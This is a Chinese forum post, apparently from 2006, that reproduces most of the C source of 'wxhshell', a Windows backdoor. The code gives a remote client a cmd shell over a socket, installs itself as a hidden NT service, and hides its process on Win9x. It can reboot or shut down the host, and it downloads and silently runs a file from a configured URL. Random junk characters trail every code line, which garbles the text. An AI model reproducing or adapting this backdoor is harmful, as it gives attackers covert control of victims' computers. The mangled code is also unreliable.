  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4NY}=e5  
  else J ^y1=PM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)wxc1  
  } z; dFS  
  else { ZJ$nHS?ra  
;!ICLkc$  
    switch(cmd[0]) { DaN=NURDV  
  4DYa~ =w  
  // 帮助 KXQ &u{[<  
  case '?': { 7j ]d{lD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +4N7 _Y  
    break; mip2=7M|C  
  } $ e<108)]  
  // 安装 8$+mST'4N  
  case 'i': { ~^{jfHTlv  
    if(Install()) 5-3.7CO$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gyz#:z$p^  
    else PLkwtDi+&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cL]vJ`?Ih  
    break; .;1tu+S  
    } *Va;ra(V2  
  // 卸载 =Ts3O0"[  
  case 'r': { x e~lV  
    if(Uninstall()) *WHQ1geI8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+A9.KoI  
    else G<2OL#Y-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[2uez`  
    break; ?>p (*  
    } 9ff6Apill  
  // 显示 wxhshell 所在路径 e|t@"MxvC  
  case 'p': { -&Cb^$.-x  
    char svExeFile[MAX_PATH]; ","O8'$OC  
    strcpy(svExeFile,"\n\r"); :?2@qWaL  
      strcat(svExeFile,ExeFile); Cj,Yy  
        send(wsh,svExeFile,strlen(svExeFile),0); d'oh-dj %^  
    break; p-6Y5$Y  
    } \-]zXKl2k  
  // 重启 ?=bqya"Y  
  case 'b': { va>u1S<lO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4P406,T]r  
    if(Boot(REBOOT)) 6ka, FjJ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dEfXrMf  
    else { {CO]wqEj  
    closesocket(wsh); - kGwbV}  
    ExitThread(0); k3HPY}-  
    } pQ_EJX)  
    break; /tG0"1{  
    } L[|($vQ"  
  // 关机 /#lqv)s'  
  case 'd': { StuQ}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y.xyr"-Q  
    if(Boot(SHUTDOWN)) QgR3kc^7/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )g()b"Z #>  
    else { SH009@l_8  
    closesocket(wsh); F&Bh\C)]  
    ExitThread(0); r+0<A.''a  
    } .~nk' m  
    break; _5t~g_(1OK  
    } +;T `uOF}  
  // 获取shell &}:]uC  
  case 's': { ;*H@E(g  
    CmdShell(wsh); D?Mj<||  
    closesocket(wsh); hR g?H  
    ExitThread(0); /:+f5\"-b  
    break; fLtN-w6t  
  } vj_[LFE  
  // 退出 sU|\? pJ  
  case 'x': { M_OvIU(E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c\J?J>xz  
    CloseIt(wsh); @L9C_a  
    break; ep$C nBwE  
    } +.EP_2f9  
  // 离开 Az`c? W%  
  case 'q': { UdiogXZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  W0&x0  
    closesocket(wsh); )F$<-0pT  
    WSACleanup(); #[uDVCM  
    exit(1); ]gw[ ~  
    break; InAx;2'A:  
        } Q[wTV3d  
  } xA&RMu&  
  } @MoBR.  
P<tHqN !q  
  // 提示信息 1GaM!OC9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YLx4qE  
} lWR".  
  } 1@i|[dq  
`<"@&N^d  
  return; {\-9^RL  
} &2P+9j>  
M3 TsalF  
// shell模块句柄 xk#q_!(j  
int CmdShell(SOCKET sock) w|k?2 ?&  
{ ~fht [S?@M  
STARTUPINFO si; S{0iPdUC  
ZeroMemory(&si,sizeof(si)); PX} ~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nB &[R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z>6hK:27  
PROCESS_INFORMATION ProcessInfo; 4GN  
char cmdline[]="cmd"; y37c&XYq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |*T`3@R;3  
  return 0; \U?$ r[P  
} O 7Z?y*  
Nueb xd  
// 自身启动模式 UG!528;7  
int StartFromService(void) , S }  
{ xpU7ZY  
typedef struct l9P=1TL  
{ p9(|p Z  
  DWORD ExitStatus; R^ln-H;  
  DWORD PebBaseAddress; DH>>u  
  DWORD AffinityMask; t|5T,YFG  
  DWORD BasePriority; WXj iKW(  
  ULONG UniqueProcessId; \{@n >Mh  
  ULONG InheritedFromUniqueProcessId; Gkr]8J  
}   PROCESS_BASIC_INFORMATION; Od,P,t9  
*B3 4  
PROCNTQSIP NtQueryInformationProcess; ,u<oAI`  
gB)Cmw*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k vQ] }`a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V#P`FX  
eVetG,["  
  HANDLE             hProcess; 6z'3e\x  
  PROCESS_BASIC_INFORMATION pbi; "C/X#y   
&Rp/y%9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )ZQ>h{}D  
  if(NULL == hInst ) return 0; gic!yhsS_  
T!yI+<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r-s9]0"7~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [gybdI5wur  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Ev=kO  
'| 6ZPv&N  
  if (!NtQueryInformationProcess) return 0; <Rb[0E$  
A hCqQ.O71  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >* )fmfY  
  if(!hProcess) return 0; fN!lXPgM  
ZYexW=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GL^84[f-T  
#1z/rUh`Cr  
  CloseHandle(hProcess);  T1\@4x  
0|=,!sY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w~%Rxdh?8W  
if(hProcess==NULL) return 0; n([9U0!gu  
)s~szmJoVD  
HMODULE hMod; ;]PP +h  
char procName[255]; v(`9+*  
unsigned long cbNeeded; 1Uaj}= @M  
5@-[[ $dk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >3qfo2K 0  
csd~)a nb  
  CloseHandle(hProcess); GD -cP5$  
Zn{Y+ce7d  
if(strstr(procName,"services")) return 1; // 以服务启动 {u (( y D  
TCLXO0  
  return 0; // 注册表启动 ec sQshR  
} Re<@ .d  
|6O7_U#q  
// 主模块 NE)Yd7m-  
int StartWxhshell(LPSTR lpCmdLine) 5I6u 2k3  
{ |\<L7|hb9  
  SOCKET wsl; E rrs6  
BOOL val=TRUE; crbph.0  
  int port=0; /=K(5Xd  
  struct sockaddr_in door; G&z^AV  
Gpf9uj%  
  if(wscfg.ws_autoins) Install(); {~"fq.h!M  
Q`m9I  
port=atoi(lpCmdLine); xa[)fk$6  
_C54l  
if(port<=0) port=wscfg.ws_port; !Pc&Sg  
Wi+}qO  
  WSADATA data; F^Y%Q(Dd7w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @QO^3%b8  
hQ@E2Xsv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .gclE~h.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HPc~wX  
  door.sin_family = AF_INET; )_a;xB` S(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k~XDwmt;  
  door.sin_port = htons(port); ''?iJFR  
^:u-wr8?{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :LxsiDrF[  
closesocket(wsl); $e, N5/O  
return 1; fda)t1u\8  
} j_{f(.5  
qHl>d*IZ  
  if(listen(wsl,2) == INVALID_SOCKET) { NA!?.zn  
closesocket(wsl); eqSCE6r9x  
return 1; qx1+'  
} ^e{]WH?  
  Wxhshell(wsl); N#p%^GH  
  WSACleanup(); CxD=8X9m  
^u:bgwP  
return 0; _lBHZJ+  
8.zYa(< 2  
} }Y!v"DO#Q*  
\k9]c3V  
// 以NT服务方式启动 <%N*IE"q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n/ZX$?tKAK  
{ -A^o5s  
DWORD   status = 0; jRN>^Ur;g  
  DWORD   specificError = 0xfffffff; !B v.@~  
+yI2G! $T9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @+7CfvM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~5>k_\ G8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T"/dn%21  
  serviceStatus.dwWin32ExitCode     = 0; GDQQ4-|O  
  serviceStatus.dwServiceSpecificExitCode = 0; ) W/_2Q.  
  serviceStatus.dwCheckPoint       = 0; Ei4Iv#Oi`  
  serviceStatus.dwWaitHint       = 0; (_3QZ  
UB,0c)   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gE9x+g  
  if (hServiceStatusHandle==0) return; m(w9s;<  
vc C"  
status = GetLastError(); 69S*\'L  
  if (status!=NO_ERROR) 0[f[6mm%m  
{ :?j]W2+kR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jb6)U]  
    serviceStatus.dwCheckPoint       = 0; wv  
    serviceStatus.dwWaitHint       = 0; 1T}jK^"  
    serviceStatus.dwWin32ExitCode     = status; NpH9}, 1i  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2 b80b50  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %)w7t[A2D  
    return; AAF']z<4_"  
  } *RmD%[f  
K SJ Ko  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YQ>O6:%  
  serviceStatus.dwCheckPoint       = 0; H6hhU'Kxf8  
  serviceStatus.dwWaitHint       = 0; 9\VV++}s>o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >eWORf>7  
} PXF u  
Vy6~O|68=  
// 处理NT服务事件,比如:启动、停止 ^"iJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cs 58: G5  
{ K+ |0~/0  
switch(fdwControl) (QS 0  
{ {s0!hp  
case SERVICE_CONTROL_STOP: a1shP};pK  
  serviceStatus.dwWin32ExitCode = 0; OkMAqS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gi\Z"MiBZ  
  serviceStatus.dwCheckPoint   = 0; SB`xr!~A]  
  serviceStatus.dwWaitHint     = 0; Y,?kS dS  
  { d~q7!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6i4N2  
  } .I]EP-  
  return; %<|cWYM="z  
case SERVICE_CONTROL_PAUSE: s_3a#I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !p Q*m`Xo  
  break; 9&zQ 5L>  
case SERVICE_CONTROL_CONTINUE: sJMpF8   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WidLUv   
  break; IdCE<Oj\  
case SERVICE_CONTROL_INTERROGATE: R[l~E![!j  
  break; `neo.]  
}; 0J6* U[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X o[GD`t  
} -EE}HUP)  
P('bnDU  
// 标准应用程序主函数 vDyGxU!#\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fg/hUUl  
{ 4KR$sKq$q  
Rm}G4Pq  
// 获取操作系统版本 [Wxf,rW i  
OsIsNt=GetOsVer(); U#%+FLX@w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S{Zf}8?6$  
,u9 >c*Ss\  
  // 从命令行安装 })j N 8px  
  if(strpbrk(lpCmdLine,"iI")) Install(); +U iJWO  
8\G"I  
  // 下载执行文件 )6%a9&~H  
if(wscfg.ws_downexe) { }@~+%_;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]TN/n%\  
  WinExec(wscfg.ws_filenam,SW_HIDE); `~D{]'j  
} k\RS L  
EHfB9%O7y  
if(!OsIsNt) { R 5\|pC  
// 如果时win9x,隐藏进程并且设置为注册表启动 FD5OO;$  
HideProc(); eh8lPTKil  
StartWxhshell(lpCmdLine); Lj/  
} (C.aQ)|T  
else Fzt7@VNxc  
  if(StartFromService()) $-.*8*9  
  // 以服务方式启动 a`zHx3Yg  
  StartServiceCtrlDispatcher(DispatchTable); %r&36d'  
else 39d$B'"<1  
  // 普通方式启动 6n;? :./  
  StartWxhshell(lpCmdLine); 4%4Yqx )  
nW`] =  
return 0; ^V7)V)Z;0  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五